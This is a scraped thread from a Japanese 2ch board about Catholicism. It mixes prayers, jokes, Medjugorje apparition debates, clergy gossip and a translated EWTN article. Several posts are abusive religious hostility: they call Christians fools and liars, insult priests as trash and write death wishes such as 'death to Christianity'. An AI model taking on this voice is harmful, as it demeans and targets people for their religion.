あれ、これって、ノーベル賞、田中さんのこと？って思った。

　　,z;Gocclz_　　,zl|ｱ^巛y　　,z|ﾐ^ア|ly　　,zl|「¨^ﾘlｧ　　　　　　　 .,,,,,,,,,,　　il|ﾞﾞﾞﾞll
　 .il|′　　 .|l|′.il|′　　;l|　 .,il「　　　;l|　 .,il|′　　il|　　　　　　　　il|^^llﾞ　 .|l!　.|l!
　 .ll.　 lll|!' .｛l.　.ill′,ill､　￥ .ill′,ill､　￥ .il|′」l;llllllﾞ　　　 ___　　　.ll|　ill__　.|l′.ll　
　 .《i,　　　..,从 .ll|　.il|《!　 ll! ill′illﾞll!　 ll! il|　 iGoccl!　.,z|ﾘ干ly .|l|「　.^ﾘlﾞ　ll　 .ll　
　 ..ill″　　巛　.ll　 |l! ll!　.|l .|l!　.ll! ll!　.|l .ll!　.|ll|　　.|l! ,il|′_　.|l| 《.　 .　.llﾞ　|l!　.ll!
　 .ll″.zllz　.《! .|l!　.ll!.ll|　.|l! 《!　.ll!.ll|　.|l! |l.　.|lllllｧ　.ll .;l|　 ┘ .;l| ﾘll,　ill|l「　.ll.　 ll
　 .ll　 .|liilﾄ　.ll　｛|　.《llﾄ　,ll| .｛|　.《llﾄ　,ll| .《!　.ﾘﾘ「　.ll .ll!　.__,,zl「　 ll　 lll《r　Gocc
　 .《i,　 ﾞ′.,ill″.《i_　　 .,ill″ 《i_　　 .,ill″ 《i,　　　　ll! ｛i, .ﾞ¨ﾞﾞ《i,　 ｛|　｀ ﾞ;ll! .ll　 |l
　　.ﾌliy,,,yi|;「　　.｛Gocc「　　 ｛Gocc「　　 ﾐ《izzl,,,,,ill　.｛liy,,,y卅　 ｛ly,y《「　ll,,,,,,ll
　　　 ﾞﾞ^^″　　　　ﾞﾞﾞﾞ″　　　　.ﾞﾞﾞﾞ″　　　　　 .ﾞ^^^″　 ﾞﾞ^^″　　 .ﾞ^⌒　 .^^^^^

http://academy.2ch.net/test/read.cgi/whis/1034644067/l50
ポルポトの理想郷

大天使は７人いるといわれているが、人間に知られているのは
天使長ミカエル　ガブリエル　ラファエルだけだ。
あとの４人教えてくんろ。

アマガエル　トノサマガエル　ウシガエル　ジッカニカエル

>>802
ケルビム

セラフィム

天使は蛍光灯がついてます。

フリカエル　ヨミガエル　ムセカエル　ネトラレル

天使はオデンの竹輪が好物。

>>802
ミルフィーユ、ランファ、フォルテ、ミント、バニラ、ノーマッド、ウォルコット。

バザー終了!!
木枯しが吹き抜ける中で立ちっぱなしのまま、
氷水で冷やした缶ジュースと発泡酒を売るのはチョトしんどかったーYO.

でも、大天使ウリアゲル(嘘)の御加護があって、仕入れ商品は無事完売。
神に感謝。

バザーとか参加したことないのでつよね…（´ー｀）

>>811
今度やってみたら？

>811

だめですよ、猫ちゃんは(・ω・)ノ
ちゃあ〜んとバザーや募金、身寄りのない人の世話するのですよ。
口ばっかりにならないように注意して、良い子でいるのですよ。

囚人が３人いた。
「君はどんな罪で服役しているんだい？」
「１９５０年にベリヤを批判したからさ。そういう君は？」
「１９５３年にベリヤを擁護したからだ。そこのお前は？」
「私はベリヤだ」

>>814 小話を理解できる人がどれだけいるか・・・。

かの政権党の歴史は正教やローマの歴史また悲喜劇の再現だということが、調べていると解ってきます。
ローマの1950年と、かの党の1987年前後がちょうど対応するのでしょう。
かの党は6年。さて、ローマは・・・？

>>815
爆笑のジョークです。
理解できない人はアホ。

３人の日本人がいた
誰が一番馬鹿であるかを決めることになった
一人目は、株で損をしたと言った
二人目は、競馬で損したと言った
３人目は、キリスト教にだまされてすべてを失ったと言った

３人全員がキリスト教を信じるやつは一番の馬鹿という結論になった

明日も御休みでつ。
皆様は何してますか？
私は寝てまつ。

>>818
お休みですか？
うらやまちーです。
しかも、その８１８って番号、私の誕生日だし・・・

主よ、あなたの霊を
今日も私たちにお与えください。

あなたの名において私たちが一つの心
一つの魂となれますように。アーメン

　　　　　　　　　　　　マザーテレサ　　　

アーメン

＊聖カロロ・ボロメオ司教

1538年、ロンバルディアのアローナに生まれる。市民法と教会法の
博士号を取得した後、伯父のピオ4世教皇によって枢機卿に任命さ
れ、ミラノの司教となった。よい牧者として、司教区全体を度々巡
回し、教区会議を数回開き、人々の救霊のためになる多くのことを
定め、教区民のキリスト教的な道徳を高めるために尽くした。1584
年11月3日に死去。

信じる者の光である父よ、司教聖カロロ・ボロメオの精神を、いつ
も教会の中に育ててください。神の民が絶えず新たにされてキリス
トに似る者となり、その姿を世界に示すことができますように。

神父様のこころ　いつも　萌え萌え
わたしたちを　ほしい　エロい　萌え萌え♪

萌え萌えしてなきゃ変だってば。

メジュゴリエの聖母は
お違和さんです。

ザマーテレサ

三人の日本人が話し合っていた
一番、人に嫌われるやつは誰かを話し合った

一人目はうそつきといった
２人目は暴力をふるうやつといった
３人目はそれらすべてに当てはまるキリスト教徒と言った

３人は納得して笑いあった

ｺﾁﾗﾓﾖﾛｼｸ！
http://corn.2ch.net/test/read.cgi/mass/1036304318/

http://www.ewtn.com/library/MARY/DECORMIR.HTM
ローマカトリックの伝統にそって、教皇も、メジュの現象を地域の問題と
見ている。もっとも、教皇様がマリアの聖地に共感なさっているのはよく
知られていることだ。ポール・ニリッツァ司教との会談で、教皇様はこう
言われた。｢自分が教皇でなければ、今頃、メジュを訪問していたでしょう｣
フランシスコ会の長上との会合で、教皇様は仰った。｢メジュの周りにあれ
ほど爆弾が投下されても、メジュそのものは一度も被害を受けなかったの
です。これは神の奇跡なのではないでしょうか｣
（ＥＷＴＮはマザー・アンジェリカの運営する衛星放送とインターネット
の世界的カトリック宣教団。

キリスト教はクソだろ
こんなインチキ宗教ないですよ　みなさん
だまされないように
インチキ宗教です
世界一だろうが何だろうがインチキには変わりはない

>>827 キリスト教の足りない分を神道で補えると思うわ。

私の生涯のあけぼのに　ほほ笑みに来てくださったあなた
おん母よ　もう一度来てください　この夕暮れに

面白い小話ｷﾎﾞﾝ！（´ー｀）

>>830

　　暗いと不平を言うよりも

　　　　　すすんで灯りをつけましょう！

どうしてこんなに静かになっちゃったの？
みんなバケちゃんのいるヤフー掲示板へ行っちゃったのかな？
ぼくも行ってみたいんだけど、誰かURL教えて。

>>832漏れがカキコやめたから。毎日１０人くらいの自作自演してたからね。

アレクセイヤグディンﾍｱﾇｰﾄﾞ画像ｷﾎﾞﾝﾇ！！

>832

あそこは個人的に読む気にもなれん…

>>832>>835
投稿メンバー同じだし。喧嘩の相手も同じだし。
宗教的知識が無いとすぐ「未信者の方ですか？」扱いだし。
いつもの投稿メンバーに逆らった投稿をすると総攻撃を受けるし。
いいことはない。性格が悪くなるだけ。

静かだなぁ・・・

>>830
　ルイ十五世の廷臣のある侯爵が、思いがけず旅から突然にお帰りで、
奥方の寝室に入っていかれますと、奥方は僧正の腕に抱かれておいで
でした。一瞬ためらってから侯爵は、しずしずと窓辺に歩み寄り、身を
乗り出して、道行く人たちに祝福をさずけるしぐさを、ひとくさり
はじめられました。
「あなた、何をなさっておいでです？」とり乱して奥方が叫ばれました。
「僧正様がわしのつとめをなさっておいでじゃな」と貴族は答えました、
「で、わしとしてはじゃな、僧正様のおつとめのほうを、いたしておる。」

http://messages1.yahoo.co.jp/?action=topics&board=1835217&type=r&sid=1835217

>>836
ここじゃ攻撃受けても奈奈資産だからプライド傷つかないしな　Ｗ

>>840
プライドなんてもんはないので傷つきようがない。

>>836は未信者と言われて傷ついたようだぞ

どうせ未信者さ。

違うなら違うと言えばいいのに
屈折しているな

どうせ元信者さ。

キリスト教徒？
それは馬鹿と同じ意味さ

全人口の１％しかいないくせに元信者？
爆笑
そんなにもとから信者がいるのか？
キリスト教の信者数なんてオウム教とかわらんだろ
なぜにそこまで他人を見下せるのか不思議
たかが常置の院をでただけだろうがクソ神父がよ
何様だ？てめえは

　キリスト教徒を馬鹿にするでない！
今はキリスト教も過渡期なんだ。彼らが目立たないからといって馬鹿にして
いると大変な目にあうかもしれないゾ。

全人口？
日本の人口のことでしょう？
カトだけで１１億人いるよ。

カトだけで１１億かよ
それはよかったな
で、そいつと話す機会はあるのか？
一生いくこともない　遥か彼方だろうが
日本人にキリスト教徒は職業キリスト教、つまりはおまえら馬鹿神父しかいないってこった
死にヤガレ
常置の院でも自慢して閑古鳥ないてろ馬鹿クソやろう
１１億のうちにはブードゥ教や、エホバも含んでんだろ
ＳＥＸ基地外の統一教会も含んで１１億だろ　馬鹿宗教が　死ね

すごい発言の連発だな。
なんかコンプレックスでもあんの？

>>850

あんたも、日本人の人口が１億２千万でも、話す機会があるのはほんのちょっとだね。
２ちゃんのキリスト教徒と話している（相手にしてもらっている）時間が一番長かったりして（ｗ

おまえの見下し根性はなんだ？偉そうに
おまえこそ外人コンプレックスのかたまりだろ
キリスト教やって鼻が高くなったか？神父だろおまえ　バレバレなんだよ
キリスト教のやつはやたらと人を馬鹿にするが
その優越感はからっぽだろ
知ってるのは英語と聖書だけ
知ったかぶってコンプレックスとか使うなよ
専門はたかが神学だろ
聖書の字句をいじくるだけのだめ学問　役にたつもんでもない
偉そうに何様なんだよ
常置でたからなんだてえの
ほとんどが英語教師にしかなれない学校だろうが
他はえらそうにネットで説法が　クソ神父
ネットでしか吼えられない神父はうるせんだよ
くやしかたら信者数を増やしてみろ　だめ人間
聖書なんかクソの役にもたたねえよ

神父の説法など聞く馬鹿は日本にはいねえよ
１１億の国でも出て行け
日本から消えろ
神父など偉いモンデないんだよ
そこをわきまえろ　クズ

>いずれ閑職に回されるんじゃないかと。
>森司教同様・・・。

これは誤り。
白柳枢機卿が、東京大司教を辞任した際に､バチカンに森氏を後継者に
指名するようと、あわせて伝えたらしい。
それを聞いた森氏は、教区長はおろか司教も「辞任」したいと追って
聖座に申し入れ。なんでも、キャンディーズじゃないが「普通の司祭に
戻りたい」とのこと（長江司教は小教区を司牧してたから、それにならい
たかったのでしょうが、司教辞任はカトリックは無理。叙階の無効性を
宣言することになるから。その点､やはり森氏は？？？ですね）。
結局、引退に。でも、真生会館は辞任前からのっとり謀議に出て､
学者のA神父さんをK教会に移すなどして、かなりひんしゅくをかっている。

>>853
ミスター・コンプレックスの称号を
あなたに授与します。

>>855
真生会館のＹ神父って、どこに行ったの？

>>853
う〜ん、可哀想だねぇ。学問嫌いなんだねぇ。
そんな君に、この言葉はどうかな？
『修身斉家治国平天下』

色深き
深山の枝に、
曇る空。
風舞う落ち葉、
十葉十色。

寒いけどなんて素敵な秋日和

神様と今日も一緒だ怖くない

へたくそな俳句でごめん神父様

なんだか知らんが、個人の意見を日本人全体の通念と勘違いしている、
勝手に日本人代表を気取る人がいるのには驚き。
Ｋ県Ｙ市Ｎ区ＹにあるＹカトリック教会の降誕祭ミサには、
毎年、未信者の日本人が沢山参与するが、その現象はどう説明するのだろう？
カトリック嫌いを気取ってても、彼女が出来て、一緒に降誕祭のミサに来たりするんじゃないか？
まあ、キリスト教嫌い／カトリック嫌いは個人の嗜好だろうが、
そんなにイヤなら、このスレに来なければ良い。平和的解決だな。

日本にキリスト教徒はほとんどいない
http://www.kirisutokyo.com/research/resources/statistics-Jse-religions.html?lang=jse
おまえら神父がよくわかってるはずだろ
ウソつき神父さんよ
観光名所になって珍しがってきてるだけで信者でもなんでもないだろ　ばーか

>>859
空深き
朝の梢に、
灯る秋の陽。
昨日の種に、
明日の実を知る。

>>862
だから、ナニ？
ポイントがないね。

インドにいってイスラム寺院に観光にいくやつは
全員がヒンズー教でイスラム教か？　馬鹿神父

キリスト教など日本ではゼロに等しい
ウソツキ神父、今日も負け惜しみ

>>862
君の論拠が不明瞭だが（何を以って誰を『ウソつき神父さん』と称しているのか）、
>>861は、はっきりと『未信者の日本人』と言ってるぞ。
＞＞「観光名所になって珍しがってきてるだけで信者でもなんでもないだろ」

>>865
だから、あんたのカキコには、ポイントが無いって。
『キリスト教など日本ではゼロに等しい』から、何なの？

だめ神父、日本での布教はもう無理だな
よその国でも行って宣教師として死んでこい
さようなら

>>868
馬鹿が逝く...

マジレスするのもなんだが……このスレに来てる香具師で
神父なんてまずいないだろ。ほとんど信者か未信者だろ。

きっと、偏屈なコンプレックスで、苦しいんだろうなぁ。
だから、神父を馬鹿にしたり、学問を蔑んだりして、自己擁護してしまう。
日本のような信者数が非常に少ない場所で、数年間勉強して、叙階され、
司牧して、妻帯しないのは、結構、情熱と根気が必要な事だと思うが。
そう云う部分も羨ましかったりする卑屈なヤシなんではないか？

>>863
ナイス返歌！
ちょぴっとカンドー！

日曜日に、キリスト教系某カルト教団の晩餐祭儀に参加したが、一服盛られた気がする。
どうも、体の調子が悪い。食事の中に、非合法ドラックでも混ぜてたんじゃないかと、
勘繰ってしまう...。祭儀の途中で、頭がボーっとして、軽い眩暈を感じたのは...。

>>873
マリファナをブラウニーに混ぜるってのは、聞いた事があるけど。
でも、まあ、自業自得（自損？）のような気もするが。

カトリックのワインには、幻覚剤は入ってないのだろうか？

ドイツの有名なアウグスチノ会修道女で聖痕者
シスター・アンナ・カテリーナ・エンメリックが
キリストの誕生日を11/27と啓示されると、
キリストが悪魔になるのか？

メジュの視幻者に
ゴスパの本当の誕生日が8/5と啓示されると、
聖母が悪魔になるのか？

反対派は、イエズスのホントの誕生日を変更したエンメリックを
異端者として断罪すべきだろうな。それが先決だ。

だが、エンメリックは教会公認の尊者なのだ。笑える
ゲラゲ-ラ ゲラゲ-ラ ゲラゲ-ラ

　　　　　　　　　　　　　　　　　

カトてバカ丸出しだね

>>873
教団の正式名称を記して下さい。

　マリア、私たちの天の母よ、あなたの従順な子として、み前におります。
あなたの言葉を聞き、あなたと一緒に主に向かって歩みたいのです。
　そのために、すべての罪を棄てます。私はこの地上で、主のために美し
い花になりたいのです。時には、自分の弱さを感じます。その時、どうか、
私を助けにいらしてください。
　私は、イエズス・キリストを全く信じます。イエズスと共に、私自身と
私の周りの世界を変え、新たにしたいのです。
　平和の元后よ、私が不和ではなく、平和の糧をまくことができるよう、
助けてください。まず、自分自身と自分の家族の中に平和をもたらすこと
ができますように。
　私の体も魂もあなたに奉献します。あなたに忠実と堅忍を約束します。
　アーメン
　使徒信経　１回、　主の祈り、天使祝詞、栄唱、各７回
　（「平和の元后聖母マリア」（メジュゴリエの聖母）についての詳細は、
三上茂・著『メジュゴリエの証言者たち』ドン・ボスコ社をご覧下さい）

神父ってプライドだけが高くてあとはただの馬鹿

漏れは、両形色の拝領で御聖血、それも水で割ってあったはずなのに、一口で
酔っ払った覚えがある。アルコールを殆ど受け付けないらしい。
神父様は、修道院まで車で来られるけれど、帰りは大丈夫かと。改正道交法と
信教の自由、どっちが勝つか？

>>881
（　´,_ゝ｀）プッ

ところで、質問箱スレで話題になったアルファコース問題は、こっちで
論じてもよろしいか。下手すりゃ、他教区にも波及しそうだし。
何で白柳枢機卿は、枢機卿の要職にありながらいつも変な（略）

ホスチアってどこのカトリック教会でも同じ？（´ー｀）

>884

猫ちゃん、それは違いまつよ〜♪
でも、そこここで違いまつけど、基本は同じでつ♪

ところで最近、フランちえさん見ませんねっ？

＞885
あほーにいる。

>>882
酒に弱い神父さんは、御血のワインが全部飲み干せなくて、侍者やってたときに、
「半分飲んでください」って言われました。

>853
暇だから、釣られてみるか（w

>キリスト教のやつはやたらと人を馬鹿にするがその優越感はからっぽだろ
類は友を（略）

>神父だろおまえ　バレバレなんだよ
少なくとも自分は神父じゃない。まっ、説教の中で2ch用語連発の神父ってのも
見てみたいけど（w

神父でないのに常置の自慢をしたり布教をしているやつって何者？
ヘブライ語を勉強して聖書を薦めていつやつは間違いなく神父だろう

論破されてくやしんだろ

　　　神　父　は　負　け　犬

８９０

このスレやヤッホー掲示板を見る限り、
カトリックが小さいつまらん人間の集まりといわれても仕方ない
かなあとも思えてしまうな。

でもヤッホーとかで猛烈に書き込んでいるのは一部のちょっと
変わった人だし、いい人もたくさんいるんだけどね。

あと、荒らしは放置で。
粘着荒らしってたいがい心を病んでいる場合が多いし。

>>879
教団の名前を書いて問題がナイと思うのなら、初めから書いてます。
問題アリと思うから、あえて『キリスト教系某カルト教団』と匿名扱いしたまでです。
よって、正式名称は、伏せておきます。あしからず。
ちなみに、明日も彼らの晩餐祭儀に参加する予定です。

>>893
「統一教会」それとも「ものみの塔」か？

あぶないところによくいくね。

>>894
どちらかと言うと、「統一」の方に近いですね。
１９４０年頃から、アメリカ東部を中心に急成長しヨーロッパに飛び火して、
その後、急衰退した団体です。
今では、半死状態なので、あまり危なくないでしょう。（ｗ

恐そうでち。

>>895
う〜ん...
それだけのヒントじゃ分からない...

閑人が過渡関係のスレをアゲまくってる。

おっ！？

>>901
９０１！！

http://news.lycos.co.jp/topics/society/northkorea.html?d=06nttpubn02&cat=16

火曜に東京の聖マリアカテドラル行ったけど、でかかったなぁ・・・
カトリック用の新聞にここが東京大教区の中心って書いてあったけど、納得だ。

やほーで、だらだらしてたら、こっちも変わったなあ。
メジュが相変わらず人気話題か。
>>903
あそこは無用にでかいな。代々木体育館のようだ。
冬は寒そうだ。

明治学院で鳩山を笑いものにさせたのと
同類の馬鹿がそろっているのはここですか？

　　死　ね　や　キ　リ　ス　ト　教

しっかし、メジュネタが盛り上がって以来ここは閑散としたな。

ここにカキコするのはぜんぷ神父だと思ってるヤシ以外、嵐くんが居ない
つうのも面白い。

で、鳩山がどうした？
誰に泣かされたんだ？鳩山。

みんなキモチ悪いんで書き込みしねえんだよ

おまえらカルト集団に目をつけられると、大変な目にあうのをみな知ってるからな

早く破防法の指定でも受けろや

君には目をつけないから安心するといいよ。

キモチ悪い宗教だぜ
年がら年中陰謀ばかり考えて　それで布教が成功すると思っていやがる

日本人の大勢が気づきだしてるからますます変な方向に暴走していきやがる
キモチ悪い宗教だ

>>908
トンデモな言いがかりですな。W
あなたが言いがかりをつければ、メジュの聖母が悪魔になるのですか？

陰謀考えるほどの暇も脳もないから安心しろって。

キリスト教は死ねない。教徒は放っておけば必ず死ぬ。日本語大丈夫?

なお、明治学院がプロテスタント

＾ｇ＾は

^が^は

>>904
＞代々木体育館のようだ。

設計者が同じだから仕方ないのでつ。

お休みでつ〜♪

丹下のおやじだよな。おやつみ。俺君（・・・・？って誰？）

メジュゴリエの真相（EWTN）
http://www.ewtn.com/library/MARY/DECORMIR.HTM
November 1996 issue of "Inside the Vatican."

ユーゴ司教会議の決議

87年5月、ユーゴ司教会議は、サラエボ大学前神学部教授でバニャ・ル
カの副司教、フラジョ・コマリカ司教をメジュゴリエ調査委員会の代表に
任命した。

88年半ばまでに、委員会は、出現への肯定的な判断をもって、仕事を終
えたと報じられた。ところが、ザニチ師と真っ向からぶつかりたくなかっ
たため、チームは、巡礼者の数が減少して消えることに望みを託して、
報告書の作成をぐずぐず遅らせた。司教団内部での長い主導権争いの後で、
ユーゴ司教会議は、90年（11月27‐28日）に、ザグレブで会合を開き、
次の声明を採択した。

１．司教団は、最初から、地元司教、地元の教区委員会、ユーゴ司教委員
会の報告を通して、メジュゴリエの出来事を追ってきた。今までの調査に
基づけば、超自然の出現あるいは啓示があったとは確定できていない。

2．それでも、宗教的動機に触発され、世界中からくる信徒の集団は、
司教の絶え間ない配慮を必要としている。その理由から、この司教会議は、
教会の交わりの精神の下、教区での正しい典礼と司牧生活が進められ、
教会の精神にそぐわない事件や教えを回避できるよう、メジュゴリエでの
司牧活動を組織することで、司教を支援したい。

声明は、多くの者に、曖昧に映った。出現の超自然的要素は肯定されてい
ないが、それが結果する信徒集団を、司教が管理することは認めている。
この件について、スプリトのフラネ・フラニク副大司教は、イタリアの日
刊紙、「コッリエーレ・セラ・セーラ」（1/15/91）とのインタビューで、
自分の判定を覆すのを拒んだ、ザニチ司教の猛反対だけが、メジュゴリエ
の出現に関する肯定的決断を妨害したのである、と次のように語った。

「司教団は、ザニチ師に恥をかかせたくなかったのです。反対に根拠がな
いと指摘されると、彼は泣き叫び始め、司教団は結局、議論をやめてしま
ったのです」

ザーレブ大司教で、ユーゴ司教会議の代表、フランジョ・クハリク枢機卿
は、クロアチアテレビのインタビュー（12/23/90）に答え、
「ユーゴ司教会議はメジュゴリエの出来事に肯定的意見を持っています」
と語った。

バチカンの反応

ラッツィンガー枢機卿は、メジュゴリエの出現に関して否定的な声明を出
したことがない。それでも、並行する教導権という戸惑わせる側面、つま
り、継続するマリア・メッセージが、メジュゴリエへの巡礼を控えるよう
教理省を動かしたのである。

85年6月、当時の教理省長官、アルベルト・ボボーネ大司教は、イタリ
アの司教会議(イタリア人がいつも最大の巡礼者集団)に書簡を送り、
｢メジュゴリエ巡礼の組織を公式に控える｣よう通達した。

今年、その立場は、｢メジュゴリエ巡礼は勧められるか｣を質問した、
ラングル司教(フランス)のレオン・タベール師に宛てた、ベルトーネ新
秘書の書簡によって再確認された。

メジュ汚染が始まったからまた避難するか。

フランスの日刊紙｢ラクロワ｣に掲載されたボボーネ書簡は、91年4月10日
のユーゴ司教団の｢覚書｣―超自然の出現あるいは啓示を扱っていると確
認できない―に言及し、禁止をこの声明によるものとした。

フランスの禁止令は、次の条文に表現された。「ユーゴ司教会議の決定に
矛盾するため、正当なマリア出現地としてのメジュゴリエへの公的巡礼は
編成されない」

バチカン観測筋のほとんどは、メジュゴリエに対する聖座の公的な判断は
通達されないだろうと見ている。まず、教会は、出来事が進行中のあいだ
は明確な意見を表明しない。第2に、特定の司教が私的に絡むことで、問
題が複雑化している。第3に、継続するメジュゴリエの｢メッセージ｣が、
今後教会の教えに抵触しないとも限らない。

こんなことで仲間割れしてエネルギーを消費するくらいなら、
他にいくらでもやることありそうなもんだがｗ

>>925
一部のお祭り野郎だけだよ。
他の人は他のことやってる。

ドレミファソラシド
あ、あ、マイクのテスト中。

馬鹿がみるー。
ぶたの○○ー。
かまって狸だ。ぽんぽこりん。

またMLでバ●がトラブル起こしてますね。
困ったものだ。

あれをトラブルとよぶなら、２ｃｈはハルマゲドンだ

('〜`；)ﾌﾆ〜　聖なるカトリック教会を悪く言うな！！

またメジュか・・・

主の平和

http://hushiginomedai.hp.infoseek.co.jp/st%20josef%20rosario%20maker%20top-page.html#Top

この際とお値段がぼったくりなんだけど、本当に信者がやっているんだろうか？

＞＞934
詳細キボン

　ご寄付はメダイそのもの製作にたいして１デナリオ（その人の１日の労働の対価）あるいは１万円、のうち金額の高い方の金額以上を基準とさせていただきますのでお申し込みされる方の身分、経済的状況によりご自分の良心に従ってご負担をお願いいたします。

また初土曜日の御ミサに献金していただける方はいくらでもけっこうですので別途その旨と金額をお知らせ下さい。このほか聖三位一体の紐の編み手間として２０００円、送料手数料として１０００円をお願いいたします。

あと詳細は自分で読みに行って下さい

>>934
オク板に、ロザリオ売買のスレあるから、そこ持っていけば？

メジュゴリエの反対派に言います。
私たちは世界的に信頼できる
ＥＷＴＮ（エターナルワード・ミニストリー）、
ＮＣＲ（ナショナルカトリックレジスター）、
ＣＮＳ（カトリック・ニュースサービス）のような、
公的な信頼すべきニュースソースからリンクして翻訳しています。
それが嘘であるというあなたはトンデモ以外の何者でもありません。
あなたがこの権威筋の声明が嘘であることを証明すべきです。
早く証明してください。
これら権威あるニュースソースを世界中のカトリックが読んでいます。
それが嘘であるというのはとんでもないことです。
はやく嘘であることを証明してください。
それとも、サルバトやピオ会、離教者のナリーの
ガセネタホムペなら信頼できると言うのですか？

メジュゴリエの出現は聖母以外ないですよねえ。

>>939
ご教示多謝